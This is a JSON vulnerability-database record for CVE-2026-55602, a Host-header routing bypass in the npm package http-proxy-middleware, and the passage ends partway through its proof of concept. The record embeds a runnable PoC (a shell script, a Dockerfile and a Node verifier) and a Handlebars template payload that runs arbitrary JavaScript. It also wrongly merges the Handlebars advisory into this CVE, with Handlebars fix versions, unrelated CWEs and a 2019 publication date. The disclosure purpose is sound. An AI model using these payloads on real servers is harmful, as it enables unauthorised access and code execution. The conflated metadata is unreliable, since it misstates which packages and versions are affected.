{"id":"CVE-2026-55602","aliases":["CLSA-2026-1774743817","CLSA-2026-1774743830","CLSA-2026-1783991046","CLSA-2026-1784509824","CLSA-2026-1786731948","CLSA-2026-1788806507","CLSA-2026-1788806602","CLSA-2026-1788806634","CLSA-2026-1788867095","CLSA-2026-1792000560","CLSA-2026-1792449353","EUVD-2026-38300","GHSA-2cf5-4w76-r9qv","GHSA-39q2-94rc-95cp","GHSA-64mm-vxmg-q3vj","GHSA-cj63-jhhr-wcxv","GHSA-cjmm-f4jc-qw8r","GHSA-g9r4-xpmj-mj65","GHSA-h8r8-wccr-v5f2","GHSA-q2c6-c6pm-g3gh","GHSA-q42p-pg8m-cqh6","ROOT-APP-NPM-CVE-2026-55602","ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv","ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65","ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh","ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6","openSUSE-SU-2026:11680-1","openSUSE-SU-2026:12070-1","openSUSE-SU-2026:21448-1"],"status":"published","title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00378,"percentile":0.31997,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1321","CWE-187","CWE-20","CWE-471","CWE-94"],"published":"2019-06-05T14:07:48Z","modified":"2026-10-28T02:30:54Z","fixes":[{"ecosystem":"npm","package":"handlebars","fixed_in":["3.0.8","4.5.2","4.5.3","4.1.2","4.0.14","3.0.7"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"http-proxy-middleware","fixed_in":["4.1.0","3.0.6","2.0.10"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"handlebars","fixed_in":["1.3.0-tuxcare.1","1.0.12-tuxcare.2"],"sources":["osv"]},{"ecosystem":"TuxCare:npm","package":"http-proxy-middleware","fixed_in":["2.0.7-tuxcare.3","0.17.2-tuxcare.2","0.18.0-tuxcare.2","0.17.3-tuxcare.2","0.19.1-tuxcare.3"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/http-proxy-middleware","fixed_in":["2.0.9-root.io.1","0.19.1-root.io.3","2.0.7-root.io.1","3.0.5-root.io.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"http-proxy-middleware","fixed_in":["2.0.9-aikido.1","0.19.1-aikido.3","2.0.7-aikido.1","3.0.5-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"handlebars","fixed_in":["3.0.7-aikido.3","3.0.3-aikido.2","3.0.8-aikido.1","3.0.8-aikido.2","3.0.7-aikido.1","3.0.7-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/handlebars","fixed_in":["3.0.7-root.io.3","3.0.3-root.io.2","3.0.8-root.io.1","3.0.8-root.io.2","3.0.7-root.io.1","3.0.7-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.1.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.0.6"}]}]},{"source":"ghsa","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.16.0"},{"fixed":"2.0.10"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.0.14"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0-tuxcare.0"},{"fixed":"1.3.0-tuxcare.1"}]}],"versions":["1.3.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.12-tuxcare.0"},{"fixed":"1.0.12-tuxcare.2"}]}],"versions":["1.0.12","1.0.12-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.3-tuxcare.0"},{"fixed":"3.0.3-tuxcare.1"}]}],"versions":["3.0.3"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.7-tuxcare.0"},{"fixed":"2.0.7-tuxcare.3"}]}],"versions":["2.0.7","2.0.7-tuxcare.1","2.0.7-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.17.2-tuxcare.0"},{"fixed":"0.17.2-tuxcare.2"}]}],"versions":["0.17.2","0.17.2-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.18.0-tuxcare.0"},{"fixed":"0.18.0-tuxcare.2"}]}],"versions":["0.18.0","0.18.0-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.17.3-tuxcare.0"},{"fixed":"0.17.3-tuxcare.2"}]}],"versions":["0.17.3","0.17.3-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.19.1-tuxcare.0"},{"fixed":"0.19.1-tuxcare.3"}]}],"versions":["0.19.1","0.19.1-tuxcare.1","0.19.1-tuxcare.2"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-tuxcare.0"},{"fixed":"4.0.0-tuxcare.1"}]}],"versions":["4.0.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.5-tuxcare.0"},{"fixed":"3.0.5-tuxcare.1"}]}],"versions":["3.0.5"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.2"}]}]},{"source":"osv","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.0.6"}]}]},{"source":"osv","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.1.0"}]}]},{"source":"osv","ecosystem":"npm","package":"http-proxy-middleware","ranges":[{"type":"SEMVER","events":[{"introduced":"0.16.0"},{"fixed":"2.0.10"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.1.0"},{"fixed":"4.1.2"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.0.14"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.9-root.io.1"},{"fixed":"0.19.1-root.io.3"},{"fixed":"2.0.7-root.io.1"},{"fixed":"3.0.5-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"http-proxy-middleware","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.9-aikido.1"},{"fixed":"0.19.1-aikido.3"},{"fixed":"2.0.7-aikido.1"},{"fixed":"3.0.5-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.7-aikido.1"},{"fixed":"3.0.7-aikido.2"},{"fixed":"3.0.7-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.7-root.io.1"},{"fixed":"3.0.7-root.io.2"},{"fixed":"3.0.7-root.io.3"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"agama-web-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"24+0.a836cced5-52.1"}]}],"bundled":19},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"velociraptor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.76.7.0.git145.b60ef1146-1.1"}]}],"bundled":40},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"agama-web-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"17+673.b97ba64d6-160000.12.1"}]}],"bundled":13}],"products":[{"vendor":"chimurai","product":"http-proxy-middleware"}],"references":[{"url":"https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://www.npmjs.com/advisories/1316","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2cf5-4w76-r9qv"},{"url":"https://github.com/advisories/GHSA-64mm-vxmg-q3vj"},{"url":"https://www.npmjs.com/advisories/1325","tags":["web"]},{"url":"https://github.com/advisories/GHSA-g9r4-xpmj-mj65"},{"url":"https://www.npmjs.com/advisories/1324","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q2c6-c6pm-g3gh"},{"url":"https://github.com/handlebars-lang/handlebars.js/issues/1495","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86","tags":["web"]},{"url":"https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692","tags":["web"]},{"url":"https://www.npmjs.com/advisories/755","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/0d6d8c335ad81bad1b672fc56b6a44f6aa472dac","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/85c8783b34fc6d36145d8b53885ad0b9e3c3f9c4","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/cd38583216dce3252831916323202749431c773e","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q42p-pg8m-cqh6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55602.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55602","tags":["advisory"]},{"url":"https://github.com/chimurai/http-proxy-middleware","tags":["package"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2025-7783","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-13149","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-13676","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49356","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53550","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53632","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54466","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67315","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67317","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67319","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67321","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69153","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73086","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73088","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73089","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-0914","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-12143","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-14257","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17535","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18348","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18636","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18639","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-29074","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45623","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-5329","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6290","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64951","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64952","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64954","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65903","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65912","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65913","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65914","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67314","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67320","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-69152","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6948","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73646","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7573","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84369","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-84370","tags":["web"]},{"url":"https://bugzilla.suse.com/1246822","tags":["report"]},{"url":"https://bugzilla.suse.com/1259169","tags":["report"]},{"url":"https://bugzilla.suse.com/1268851","tags":["report"]},{"url":"https://bugzilla.suse.com/1269359","tags":["report"]},{"url":"https://bugzilla.suse.com/1269514","tags":["report"]},{"url":"https://bugzilla.suse.com/1269595","tags":["report"]},{"url":"https://bugzilla.suse.com/1269927","tags":["report"]},{"url":"https://bugzilla.suse.com/1272310","tags":["report"]},{"url":"https://bugzilla.suse.com/1272311","tags":["report"]},{"url":"https://bugzilla.suse.com/1272312","tags":["report"]},{"url":"https://bugzilla.suse.com/1272313","tags":["report"]},{"url":"https://bugzilla.suse.com/1272317","tags":["report"]},{"url":"https://bugzilla.suse.com/1272318","tags":["report"]},{"url":"https://bugzilla.suse.com/1272319","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-13311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54490","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-55602","title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.","status":"published","published":"2026-06-22T15:58:08.699Z","modified":"2026-06-23T14:18:06.403Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-20","CWE-187"],"updated_at":"2026-11-02T14:20:11.925815Z"}],"euvd":[{"id":"EUVD-2026-38300","description":"http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.","status":"published","published":"2026-06-22T15:58:08Z","modified":"2026-06-23T14:18:06Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T18:20:33.324654Z"}],"ghsa":[{"id":"GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","status":"published","published":"2020-09-04T14:57:38Z","modified":"2024-02-07T05:08:28Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:36.076201Z"},{"id":"GHSA-64mm-vxmg-q3vj","title":"http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass","description":"# Summary\n\n`http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.\n\n# Details\n\nTested code state:\n\n- validated on tag `v4.0.0-beta.5`\n- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`\n\nRelevant code locations:\n\n- `src/router.ts`\n- `src/http-proxy-middleware.ts`\n\nAffected public API:\n\n- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`\n\nCode explanation:\n\nWhen a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if:\n\n```ts\nhostAndPath.indexOf(key) \u003e -1\n```\n\nThat is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:\n\n```txt\nlocalhost:3000/api\n```\n\nbut the attacker-controlled host is:\n\n```txt\nevillocalhost:3000\n```\n\nand the request path is:\n\n```txt\n/api\n```\n\nThe concatenated attacker-controlled string:\n\n```txt\nevillocalhost:3000/api\n```\n\nstill contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.\n\nExploit path:\n\n1. the application enables the documented proxy-table `router` feature with at least one host+path rule\n2. an external attacker sends an ordinary HTTP request with a crafted `Host` header\n3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying\n4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching\n5. the request is proxied to the wrong backend\n\n## PoC\n\nCreate these files in the same working directory and run:\n\n```bash\nbash ./run.sh\n```\n\n### File: `run.sh`\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nREPO_URL=\"https://github.com/chimurai/http-proxy-middleware.git\"\nREPO_REF=\"v4.0.0-beta.5\"\nWORKDIR=\"$(mktemp -d \"${SCRIPT_DIR}/.tmp-repro.XXXXXX\")\"\nTARGET_REPO_DIR=\"${WORKDIR}/repo\"\nREPRO_DIR=\"${WORKDIR}/reproduction\"\nIMAGE_TAG=\"http-proxy-middleware-router-bypass-poc\"\n\ncleanup() {\n  rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\necho \"[a3] cloning target repository\"\ngit clone --quiet \"${REPO_URL}\" \"${TARGET_REPO_DIR}\"\ngit -C \"${TARGET_REPO_DIR}\" checkout --quiet \"${REPO_REF}\"\n\nmkdir -p \"${REPRO_DIR}\"\ncp \"${SCRIPT_DIR}/Dockerfile\" \"${WORKDIR}/Dockerfile\"\ncp \"${SCRIPT_DIR}/verify.mjs\" \"${REPRO_DIR}/verify.mjs\"\n\necho \"[a3] building reproduction image\"\ndocker build -f \"${WORKDIR}/Dockerfile\" -t \"${IMAGE_TAG}\" \"${WORKDIR}\"\n\necho \"[a3] running verification\"\ndocker run --rm \"${IMAGE_TAG}\" node /work/reproduction/verify.mjs\n```\n\n### File: `Dockerfile`\n\n```Dockerfile\nFROM node:22-bullseye\n\nWORKDIR /work\n\nCOPY repo/package.json repo/yarn.lock /work/repo/\n\nRUN corepack enable \\\n  \u0026\u0026 cd /work/repo \\\n  \u0026\u0026 yarn install --frozen-lockfile\n\nCOPY repo /work/repo\nRUN cd /work/repo \u0026\u0026 yarn build\n\nCOPY reproduction /work/reproduction\n```\n\n### File: `verify.mjs`\n\n```js\nimport http from 'node:http';\nimport fs from 'node:fs';\nimport assert from 'node:assert/strict';\n\nimport { createProxyMiddleware } from '/work/repo/dist/index.js';\n\nconst ROUTER_KEY = 'localhost:3000/api';\nconst CRAFTED_HOST = 'evillocalhost:3000';\n\nfunction listen(server, port) {\n  return new Promise((resolve) =\u003e {\n    server.listen(port, '127.0.0.1', () =\u003e resolve());\n  });\n}\n\nfunction close(server) {\n  return new Promise((resolve, reject) =\u003e {\n    server.close((err) =\u003e {\n      if (err) {\n        reject(err);\n        return;\n      }\n      resolve();\n    });\n  });\n}\n\nfunction request(path, host) {\n  return new Promise((resolve, reject) =\u003e {\n    const req = http.request(\n      {\n        host: '127.0.0.1',\n        port: 3000,\n        path,\n        method: 'GET',\n        headers: {\n          Host: host,\n        },\n      },\n      (res) =\u003e {\n        let data = '';\n        res.setEncoding('utf8');\n        res.on('data', (chunk) =\u003e {\n          data += chunk;\n        });\n        res.on('end', () =\u003e {\n          resolve({ statusCode: res.statusCode, body: data });\n        });\n      },\n    );\n    req.on('error', reject);\n    req.end();\n  });\n}\n\nconst defaultBackend = http.createServer((req, res) =\u003e {\n  res.end('DEFAULT');\n});\n\nconst secretBackend = http.createServer((req, res) =\u003e {\n  res.end('SECRET');\n});\n\nconst proxyMiddleware = createProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 'http://127.0.0.1:3102',\n  },\n});\n\nconst proxyServer = http.createServer((req, res) =\u003e {\n  proxyMiddleware(req, res, () =\u003e {\n    res.statusCode = 404;\n    res.end('NO_PROXY');\n  });\n});\n\ntry {\n  assert.ok(fs.existsSync('/work/repo/dist/index.js'));\n  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));\n\n  await listen(defaultBackend, 3101);\n  await listen(secretBackend, 3102);\n  await listen(proxyServer, 3000);\n  console.log('STEP start-services ok');\n\n  const baseline = await request('/api', 'safe.example:3000');\n  assert.equal(baseline.statusCode, 200);\n  assert.equal(baseline.body, 'DEFAULT');\n  console.log(`STEP baseline-route body=${baseline.body}`);\n\n  const crafted = await request('/api', CRAFTED_HOST);\n  assert.equal(crafted.statusCode, 200);\n  assert.equal(crafted.body, 'SECRET');\n  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);\n  console.log(`STEP crafted-route body=${crafted.body}`);\n\n  console.log('RESULT reproduced host_header_injection router substring match bypass');\n} finally {\n  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);\n}\n```\n\nThis PoC starts:\n\n- one default backend returning `DEFAULT`\n- one alternate backend returning `SECRET`\n- one proxy using:\n\n```js\ncreateProxyMiddleware({\n  target: 'http://127.0.0.1:3101',\n  router: {\n    [ROUTER_KEY]: 